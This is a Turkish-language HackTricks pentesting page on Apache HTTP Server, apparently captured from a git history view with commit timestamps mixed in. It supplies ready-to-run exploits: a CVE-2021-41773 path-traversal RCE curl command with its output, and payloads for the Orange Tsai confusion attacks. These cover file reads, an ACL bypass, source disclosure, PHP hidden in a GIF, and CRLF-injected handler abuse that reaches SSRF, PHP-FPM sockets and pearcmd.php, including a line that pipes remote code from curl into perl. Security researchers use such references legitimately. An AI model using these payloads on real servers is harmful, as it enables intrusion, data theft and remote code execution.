hacktricks/network-services-pentesting/pentesting-web/apache.md

277 lines
15 KiB
Markdown
Raw Normal View History

# Apache
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Çalıştırılabilir PHP uzantıları
Apache sunucusunun hangi uzantıları çalıştırdığını kontrol edin. Onları aramak için şunu çalıştırabilirsiniz:
```bash
2024-02-10 18:14:16 +00:00
grep -R -B1 "httpd-php" /etc/apache2
```
2024-02-10 18:14:16 +00:00
Ayrıca, bu yapılandırmayı bulabileceğiniz bazı yerler şunlardır:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
```
## CVE-2021-41773
{% code overflow="wrap" %}
2021-10-06 08:21:44 +00:00
```bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
{% endcode %}
## Karışıklık Saldırısı <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
Bu tür saldırılar [**Orange tarafından bu blog yazısında**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) tanıtılmış ve belgelenmiştir ve aşağıda bir özet bulunmaktadır. "Karışıklık" saldırısı, temelde birlikte çalışan birçok modülün mükemmel bir şekilde senkronize olmamasını kötüye kullanır ve bunlardan bazılarını beklenmedik verileri değiştirmeye zorlamak, sonraki bir modülde bir zafiyete neden olabilir.
### Dosya Adı Karışıklığı
#### Kısaltma
**`mod_rewrite`**, `r->filename` içeriğini `?` karakterinden sonra keser ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). Bu tamamen yanlış değildir çünkü çoğu modül `r->filename`'ı bir URL olarak ele alır. Ancak diğer durumlarda bu bir dosya yolu olarak ele alınır, bu da bir probleme yol açabilir.
* **Yol Kısaltması**
`mod_rewrite`'ı, beklenen yolun son kısmını basitçe bir `?` ekleyerek kaldırarak dosya sistemindeki diğer dosyalara erişmek için aşağıdaki kural örneğinde olduğu gibi kötüye kullanmak mümkündür:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
* **Yanıltıcı RewriteFlag Ataması**
Aşağıdaki yeniden yazma kuralında, URL .php ile bitmediği sürece php olarak işlenecek ve yürütülecektir. Bu nedenle, `?` karakterinden sonra .php ile biten bir URL göndermek mümkündür, bu sırada yolda kötü niyetli php kodu içeren farklı bir dosya türü (örneğin bir resim) yüklenmektedir:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
#### **ACL Bypass**
Kullanıcının erişmemesi gereken dosyalara, erişimin reddedilmesi gereken yapılandırmalarla bile erişmek mümkündür:
```xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
Bu, varsayılan olarak PHP-FPM'nin `.php` ile biten URL'leri alması nedeniyle, örneğin `http://server/admin.php%3Fooo.php` ve çünkü PHP-FPM `?` karakterinden sonraki her şeyi kaldıracak, önceki URL `/admin.php`'yi yüklemeye izin verecektir, önceki kural bunu yasaklasa bile.
### DocumentRoot Karışıklığı
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
Apache hakkında eğlenceli bir gerçek, önceki yeniden yazmanın dosyayı hem documentRoot'tan hem de kök dizinden erişmeye çalışmasıdır. Yani, `https://server/abouth.html` isteği, dosyayı dosya sisteminde `/var/www/html/about.html` ve `/about.html` konumlarında kontrol edecektir. Bu, dosya sistemindeki dosyalara erişim sağlamak için kötüye kullanılabilir.
#### **Sunucu Tarafı Kaynak Kodu Açığa Çıkarma**
* **CGI Kaynak Kodunu Açığa Çıkarma**
Sonuna %3F eklemek, bir cgi modülünün kaynak kodunu açığa çıkarmak için yeterlidir:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
```
* **PHP Kaynak Kodunu Açığa Çıkarma**
Eğer bir sunucuda statik bir alan adı da dahil olmak üzere farklı alan adları varsa, bu durum dosya sisteminde gezinmek ve php kodunu açığa çıkarmak için kötüye kullanılabilir:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Yerel Aletlerin Manipülasyonu**
Önceki saldırının ana sorunu, varsayılan olarak dosya sistemine yapılan çoğu erişimin Apache HTTP Serverın [konfigürasyon şablonunda](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) reddedilmesidir:
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
Ancak, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) işletim sistemleri varsayılan olarak `/usr/share`'e izin verir:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Bu nedenle, bu dağıtımlardaki `/usr/share` içinde bulunan dosyaların **istismar edilmesi** mümkün olacaktır.
**Yerel Gadget ile Bilgi Sızıntısı**
* **websocketd** ile **Apache HTTP Server**, **/usr/share/doc/websocketd/examples/php/** altında **dump-env.php** scriptini açığa çıkarabilir, bu da hassas ortam değişkenlerini **sızdırabilir**.
* **Nginx** veya **Jetty** ile sunucular, varsayılan web kökleri altında yer alan hassas web uygulama bilgilerini (örn. **web.xml**) açığa çıkarabilir:
* **/usr/share/nginx/html/**
* **/usr/share/jetty9/etc/**
* **/usr/share/jetty9/webapps/**
**Yerel Gadget ile XSS**
* **LibreOffice yüklü** Ubuntu Desktop'ta, yardım dosyalarının dil değiştirme özelliğinin istismar edilmesi **Cross-Site Scripting (XSS)** ile sonuçlanabilir. **/usr/share/libreoffice/help/help.html** adresindeki URL'yi manipüle etmek, kötü niyetli sayfalara veya eski sürümlere yönlendirebilir.
**Yerel Gadget ile LFI**
* PHP veya **JpGraph** veya **jQuery-jFeed** gibi belirli ön uç paketleri yüklüyse, bu dosyalar **/etc/passwd** gibi hassas dosyaları okumak için istismar edilebilir:
* **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
* **/usr/share/javascript/jquery-jfeed/proxy.php**
* **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Yerel Gadget ile SSRF**
* **MagpieRSS'nin magpie\_debug.php** dosyasını **/usr/share/php/magpierss/scripts/magpie\_debug.php** altında kullanarak, kolayca bir SSRF açığı oluşturulabilir ve daha fazla istismar için bir kapı sağlanabilir.
**Yerel Gadget ile RCE**
* **Remote Code Execution (RCE)** için fırsatlar geniştir; eski bir **PHPUnit** veya **phpLiteAdmin** gibi savunmasız kurulumlar ile istismar edilebilir. Bu, rastgele kod çalıştırmak için kullanılabilir ve yerel gadget manipülasyonunun geniş potansiyelini sergiler.
#### **Yerel Gadget'lerden Jailbreak**
Ayrıca, bu klasörlerde yüklü yazılımlar tarafından oluşturulan sembolik bağlantıları takip ederek izin verilen klasörlerden jailbreak yapmak da mümkündür, örneğin:
* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Ayrıca, sembolik bağlantıları istismar ederek **Redmine'de RCE elde etmek** mümkündü.
### Handler Karışıklığı <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Bu saldırı, `AddHandler` ve `AddType` direktifleri arasındaki işlevsellik örtüşmesini istismar eder; her ikisi de **PHP işleme** yeteneği sağlar. Başlangıçta, bu direktifler sunucunun iç yapısındaki farklı alanları (`r->handler` ve `r->content_type` sırasıyla) etkiliyordu. Ancak, eski kod nedeniyle, Apache bu direktifleri belirli koşullar altında birbirinin yerine kullanır; eğer `r->content_type` ayarlanmışsa, `r->handler` olarak dönüştürür.
Ayrıca, Apache HTTP Server'da (`server/config.c#L420`), `ap_run_handler()` çalıştırılmadan önce `r->handler` boşsa, sunucu **`r->content_type`'i handler olarak kullanır**, bu da `AddType` ve `AddHandler`'ı etkili bir şekilde aynı hale getirir.
#### **PHP Kaynak Kodunu Açığa Çıkarmak için Handler'ı Üzerine Yazma**
[**bu konuşmada**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf), bir istemci tarafından gönderilen yanlış bir `Content-Length`'in Apache'nin yanlışlıkla **PHP kaynak kodunu döndürmesine** neden olabileceği bir açık sunulmuştur. Bu, ModSecurity ve Apache Portable Runtime (APR) ile ilgili bir hata yönetim sorunu nedeniyle, çift yanıtın `r->content_type`'ı `text/html` olarak üzerine yazmasına yol açıyordu.\
ModSecurity, dönüş değerlerini düzgün bir şekilde yönetmediği için, PHP kodunu döndürür ve bunu yorumlamaz.
#### **XXXX için Handler'ı Üzerine Yazma**
TODO: Orange bu açığı henüz açıklamadı
### **Rastgele Handler'ları Çağırma**
Eğer bir saldırgan, sunucu yanıtındaki **`Content-Type`** başlığını kontrol edebiliyorsa, **rastgele modül handler'larını çağırma** yeteneğine sahip olacaktır. Ancak, saldırgan bunu kontrol ettiğinde, isteğin çoğu süreci tamamlanmış olacaktır. Ancak, **`Location` başlığını istismar ederek isteği yeniden başlatmak** mümkündür; çünkü eğer döndürülen `Status` 200 ise ve `Location` başlığı `/` ile başlıyorsa, yanıt Sunucu Tarafı Yönlendirmesi olarak işlenir ve işlenmelidir.
[**RFC 3875**](https://datatracker.ietf.org/doc/html/rfc3875) (CGI hakkında spesifikasyon) [Bölüm 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2)'de Yerel Yönlendirme Yanıtı davranışını tanımlar:
> CGI scripti, bir Location başlık alanında yerel bir kaynak için bir URI yolu ve sorgu dizesi (local-pathquery) döndürebilir. Bu, sunucuya belirtilen yolu kullanarak isteği yeniden işlemesi gerektiğini gösterir.
Bu nedenle, bu saldırıyı gerçekleştirmek için aşağıdaki açıkların birine ihtiyaç vardır:
* CGI yanıt başlıklarında CRLF Enjeksiyonu
* Yanıt başlıklarının tam kontrolü ile SSRF
#### **Rastgele Handler ile Bilgi Sızıntısı**
Örneğin, `/server-status` yalnızca yerel olarak erişilebilir olmalıdır:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
`Content-Type`'ı `server-status` olarak ayarlayıp Location başlığını `/` ile başlatarak erişmek mümkündür.
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Keyfi İşleyici ile Tam SSRF**
Herhangi bir URL'deki herhangi bir protokole erişmek için `mod_proxy`'ya yönlendirme:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
```
Ancak, `X-Forwarded-For` başlığı, bulut metadata uç noktalarına erişimi engelleyecek şekilde eklenmiştir.
#### **Yerel Unix Domain Socket'e Erişim için Keyfi İşleyici**
PHP-FPM'nin yerel Unix Domain Socket'ine erişerek `/tmp/` dizininde bulunan bir PHP arka kapısını çalıştırın:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Rastgele İşleyici ile RCE**
Resmi [PHP Docker](https://hub.docker.com/\_/php) imajı, RCE elde etmek için kötüye kullanılabilecek bir komut satırı PHP paket yönetim aracı olan PEAR (`Pearcmd.php`) içerir:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), written by [Phith0n](https://x.com/phithon\_xg) for the details of this technique.
## References
* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}